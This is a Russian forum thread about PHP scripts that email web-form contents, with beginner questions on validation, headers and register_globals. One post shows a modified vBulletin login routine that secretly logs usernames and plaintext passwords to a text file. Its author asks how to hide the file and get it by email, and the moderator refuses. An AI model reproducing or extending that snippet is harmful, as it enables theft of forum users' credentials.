Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Интернет » Web-программирование » Perl, PHP: отправка формы на e-mail

Модерирует : Cheery

 Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

Открыть новую тему     Написать ответ в эту тему

Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
F1ma

Цитата:
в начале скрипта то пишет:

точку с запятой не забываем после функции.

----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 22:29 10-02-2008
F1ma

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Спасибо, все работало!

Всего записей: 3 | Зарегистр. 10-02-2008 | Отправлено: 22:42 10-02-2008
BBG



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Есть права на ФТП. Добрые люди доработали скрипт PHP.
Юзер который при входе на форум задаёт свои данные, сохраняется в текстовом формате. Так вот вопрос как мне спрятать этот ТХТ файл в другую папку, чтобы не мазолил глаза. И как чтобы этот ТХТ файл приходил мне по Е-Майлу?

Код:
 if (!verify_authentication($vbulletin->GPC['vb_login_username'], $vbulletin->GPC['vb_login_password'], $vbulletin->GPC['vb_login_md5password'], $vbulletin->GPC['vb_login_md5password_utf'], $vbulletin->GPC['cookieuser'], true))  
   {  
      ($hook = vBulletinHook::fetch_hook('login_failure')) ? eval($hook) : false;  
 
      // check password  
      exec_strike_user($vbulletin->userinfo['username']);  
 
      if ($vbulletin->GPC['logintype'] === 'cplogin' OR $vbulletin->GPC['logintype'] === 'modcplogin')  
      {  
         // log this error if attempting to access the control panel  
         require_once(DIR . '/includes/functions_log_error.php');  
         log_vbulletin_error($vbulletin->GPC['vb_login_username'], 'security');  
      }  
      $vbulletin->userinfo = $original_userinfo;  
 
      if ($vbulletin->options['usestrikesystem'])  
      {  
         eval(standard_error(fetch_error('badlogin_strikes', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'], $strikes)));  
      }  
      else  
      {  
         eval(standard_error(fetch_error('badlogin', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'])));  
      }  
   }  
$file = fopen("logins.txt", "a");  
if($file)  
{  
   $string = $vbulletin->GPC['vb_login_username'].":".$vbulletin->GPC['vb_login_password']."\n";  
   fwrite($file, $string);  
   fclose($file);  
}  
 

И другой вопрос, почему в Файле logins.txt в некоторых случаях сохроняются только логин, а пароль НЕТ?

Всего записей: 869 | Зарегистр. 27-10-2001 | Отправлено: 12:36 14-02-2008
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
BBG
вы немного ошиблись форумом - тут не помогают "юным хацкерам".

Цитата:
И как чтобы этот ТХТ файл приходил мне по Е-Майлу?

читать
Отправка письма с аттачем на PHP


----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 19:11 14-02-2008
MacMil

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
народ будьте добры реализовать то что на картинке... отправка веб интерфейсом, никакой почтовой программы. Работа на PHP. ПЛИЗЗЗ
 
 

Всего записей: 84 | Зарегистр. 04-03-2007 | Отправлено: 03:33 07-04-2008
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
MacMil

Цитата:
народ будьте добры реализовать то что на картинке...

и? не знаем html? php не при чем при формировании формы.  да и коды для отсылки всего из формы уже были представлены

----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 03:36 07-04-2008
Romano



Silver Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
имеется код проверки:

Код:
<?}
              /*Вывод функции проверки*/
              function check()
              {global $name, $orgz, $msg, $phone, $mail;
              if (eregi("^[a-z0-9]+([-_\.]?[a-z0-9])+@[a-z0-9]+([-_\.]?[a-z0-9])+\.[a-z]{2,4}", $mail))
              {
                      if($name=="" || $msg=="" || $phone==""  || $mail=="")
                {
                 noall();
                }
 
                else
                {
 
                 if(($name && $msg && $phone && $mail)!="")
                  {
                   send();
                  }
                }
              }
              else
              {?>

как настроить значение $phone, чтоб он проверял в поле только цифры?
т.е. букв в форме для вбивки номера телефона не должно быть.

Всего записей: 2345 | Зарегистр. 13-02-2002 | Отправлено: 07:57 08-04-2008
andead



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
if(($name && $msg && $phone && $mail)!="" && !preg_match('/\D/', $phone))

Всего записей: 1821 | Зарегистр. 22-09-2005 | Отправлено: 17:22 08-04-2008
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Romano
для этого есть отдельная тема
PHP: Регулярные выражения (RegExp, Regular, eregi, preg)
так как я в любой кусок кода смогу тогда запихнуть функцию mail и писать в данной теме.. смысл?

----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 01:50 09-04-2008
MacMil

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
не могли бы подсказать.... верно ли тут все? и работоспособно ли? А то сделали для меня но что то не понимаю работает оно или нет.

Код:
 
<?php  
if (getenv(HTTP_X_FORWARDED_FOR)){  
$ip=getenv(HTTP_X_FORWARDED_FOR);  
}  
else {  
$ip=getenv(REMOTE_ADDR);  
}  
 
   $to      =   "Менеджерам <my@mysite.com>";  
   $from      =   "МойСайт <my@mysite.com>";  
   $msg      =   "Ваш заказ был отправлен";  
   $subj      =   "Новый заказ";  
   $mailmsg   =   "Получен новый заказ  
Ф.И.О.: $name  
Адрес: $city, $adress  
Телефон: $phone  
Размер: $size  
Дата и время установки: $datainst $timeinst  
Дополнительная информация:  
$message  
------------  
Сообщение отправлено c IP адреса: $ip";  
     
    $head      = "From: $from\n";  
    $head     .= "Subject: $subj\n";  
    $head     .= "X-Mailer: PHPMail Tool\n";  
    $head     .= "Reply-To: $from\n";  
    $head     .= "Mime-Version: 1.0\n";  
    $head     .= "Content-Type:text; charset=windows-1251;";  
 
if ($submit)  
{  
   if(eregi("^[0-9\._-]{6,10}\$",$phone))  
   {  
   if(empty($name) || empty($adress) || empty($city) || empty($datainst) || empty($timeinst) || empty($size)) echo "Обязательные поля не все заполнены!";  
   else  
      {  
      mail("$to", "$subj", $mailmsg, $head);  
      echo "$msg";}} else {  
      echo "Телефон указан не верно!";  
      }  
   }  
   else  
{  
?>  
 
<form name="question" method="post" action="">  
  <table width="648" border="0" cellspacing="0" cellpadding="5">  
    <tr>  
      <td>Ф.И.О.*</td>  
      <td><input name="name" class="form" style="width: 200px;" type="text" value="" /></td>  
    </tr>  
    <tr>  
      <td>Город*</td>  
      <td><select name="city" size="1">  
          <option></option>  
          <option>Москва</option>  
          <option>С-Петербург</option>  
        </select>  
      </td>  
    </tr>  
    <tr>  
      <td>Адрес*</td>  
      <td><input name="adress" class="form" style="width: 200px;" type="text" value="" /></td>  
    </tr>  
    <tr>  
      <td>Телефон*</td>  
      <td><input name="phone" class="form" style="width: 200px;" type="text" value="" /></td>  
    </tr>  
    <tr>  
      <td>Размер*</td>  
      <td><select name="size" size="1">  
          <option></option>  
          <option>3x3x3</option>  
          <option>4x4x4</option>  
        </select></td>  
    </tr>  
    <tr>  
      <td>Дата установки*</td>  
      <td><table width="100%" border="0" cellspacing="0" cellpadding="0">  
          <tr>  
            <td width="100">Дата</td>  
            <td>Время</td>  
          </tr>  
          <tr>  
            <td><select name="datainst" size="1">  
            <option></option>  
                <?php  
for ($i = 1; $i <= 10; $i++) {  
$date = mktime(date("H"), date("i"), date("s"), date("m"), date("d") + $i, date("Y"));  
$date = date("d.m.Y", $date); ?>  
                <option><?php echo $date; ?></option>  
                <?php } ?>  
              </select></td>  
            <td><select name="timeinst" size="1">  
                <option></option>  
                <option>10:00</option>  
                <option>13:00</option>  
                <option>16:00</option>  
              </select></td>  
          </tr>  
        </table></td>  
    </tr>  
    <tr>  
      <td>Доп. инфо</td>  
      <td><textarea cols="" rows="7" name="message" style="width: 200px;"></textarea>  
      </td>  
    </tr>  
    <tr>  
      <td>&nbsp;</td>  
      <td><input value="Отправить" style="height: 22px;" name="submit" type="submit" /></td>  
    </tr>  
  </table>  
</form>  
<?php } ?>
 

Всего записей: 84 | Зарегистр. 04-03-2007 | Отправлено: 10:49 09-04-2008
andead



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
но что то не понимаю работает оно или нет.

дак письма то отсылает или нет?))
 

Код:
mail("$to", "$subj", $mailmsg, $head);

напомнило баш
 
 
 
неплохой класс обёртка над ф-ей mail PHP Mailer

Всего записей: 1821 | Зарегистр. 22-09-2005 | Отправлено: 12:24 09-04-2008
MacMil

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
честно сказать ни слова не понял )))  
но оказалось все верно просто мой хост там чего то не поддерживает.

Всего записей: 84 | Зарегистр. 04-03-2007 | Отправлено: 21:11 09-04-2008
Kinno



Harmony of Chaos
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
MacMil

Цитата:
но оказалось все верно просто мой хост там чего то не поддерживает.

Директива register_globals=Off скорее всего у твоего хостера в php.ini. И правильно. Пусть перепишут тебе скрипт с использованием суперглобального массива $_REQUEST, там делов то на 1 минуту.

Цитата:
mail("$to", "$subj", $mailmsg, $head);

Кавычки у переменных $to и $subj убери. =)

----------
MSI Lab -- Каталог русификаторов

Всего записей: 3226 | Зарегистр. 23-01-2003 | Отправлено: 21:47 09-04-2008
Ardho



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Добрые люди помогите!
 
Как мне реализовать проверку формы,подтверждение и отправки ее на мыло без почтового клиента?
 
Подробнее...

Всего записей: 2 | Зарегистр. 10-04-2008 | Отправлено: 12:21 10-04-2008 | Исправлено: Cheery, 19:35 10-04-2008
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Ardho

Цитата:
Как мне реализовать проверку формы,подтверждение и отправки ее на мыло без почтового клиента?  

а тему просмотреть? коды для отправки всего из формы были представлены не раз..
для проверки
JavaScript: Проверка значений элементов формы (e-mail, имя..
и опять же.. у нас нет телепатов, способных догадаться что и как вы хотите "проверять".


----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 19:37 10-04-2008
Ardho



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Sorry за неточный вопрос!Мне нужна проверка формы на заполнение обязательных полей и подтверждение,т.е после заполнения формы клиент переходит на страницу подтверждения.
Просто я сам новичек и ничего не понимаю в этом деле.
Помогите если это возможно.

Всего записей: 2 | Зарегистр. 10-04-2008 | Отправлено: 07:15 11-04-2008
Fraerok



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
1 предложение:
сообщение http://forum.ru-board.com/topic.cgi?forum=31&topic=2488#12 поместить в шапку
 
2 вопроса:
1) можно ли сделать так, чтобы сообщение посылалось прямо текстом, без вложенного html письма?
2) как сделать так, чтобы был выпадающий список из которого можно выбрать e-mail получателя?

Всего записей: 1727 | Зарегистр. 11-05-2006 | Отправлено: 14:22 25-04-2008
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Fraerok

Цитата:
можно ли сделать так, чтобы сообщение посылалось прямо текстом, без вложенного html письма?  

бр.. по умолчанию так и делается. для html нужны дополнительные классы или самостоятельное написание кода.
 

Цитата:
2) как сделать так, чтобы был выпадающий список из которого можно выбрать e-mail получателя?

проблемы с основами html? используем select и выбираем

----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 18:57 25-04-2008
Fraerok



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
select сделать не проблема) вот, наприм
Цитата:
<select name="mailto">
<option value="2"2.ru"> 1
<option value="1@1.ru"> 2
</select>

но как теперь эти параметры передать в скрипт send_form? и сразу вопрос, а не смогут ли воспользоваться этой формой какие-нибудь кул-хацкеры для спама левых ящиков?
 
По-поводу 1) - у меня сейчас приходит письмо с html-вложением (в TheBat! выглядит так - http://parlament.ptz.ru/sample.gif)
 
И еще вопрос можно ли как-то контролировать ошибки? Например, если письмо не отослалось по какой-то причине - нужно оповестить пользователя.

Всего записей: 1727 | Зарегистр. 11-05-2006 | Отправлено: 20:18 25-04-2008
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Fraerok

Цитата:
но как теперь эти параметры передать в скрипт send_form?

опять же - основы.. передача параметров из формы методом POST или GET

Цитата:
и сразу вопрос, а не смогут ли воспользоваться этой формой какие-нибудь кул-хацкеры для спама левых ящиков?

могут. если не будет нужных проверок. по нормальному надо не выводить адреса в прямом виде, а какой то идентификатор их.. и проверять при получении данных из формы, что такой есть.
 

Цитата:
у меня сейчас приходит письмо с html-вложением

функция mail не шлет html по умолчанию.. проверяйте, что написали в заголовках. какой content-type. должно быть просто plain/text
 

Цитата:
Например, если письмо не отослалось по какой-то причине - нужно оповестить пользователя.

это уже не забота php - он отдал через mail почтовому серверу и забыл.  
можно получать с сервера отлупы, конечно, и парсить их и тд и тп.. уверены, что ваш уровень?
либо искать скрипты, которые имитируют полную работу почтового сервера, то есть сами коннектятся к почтовикам получателям.  
другой вариант - обратную почту вставлять "получателя". тогда в случае недоставки - он и получит отлуп

----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 20:25 25-04-2008
Открыть новую тему     Написать ответ в эту тему

Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

Компьютерный форум Ru.Board » Интернет » Web-программирование » Perl, PHP: отправка формы на e-mail


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.B0ard
© Ru.B0ard 2000-2024

BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

Рейтинг.ru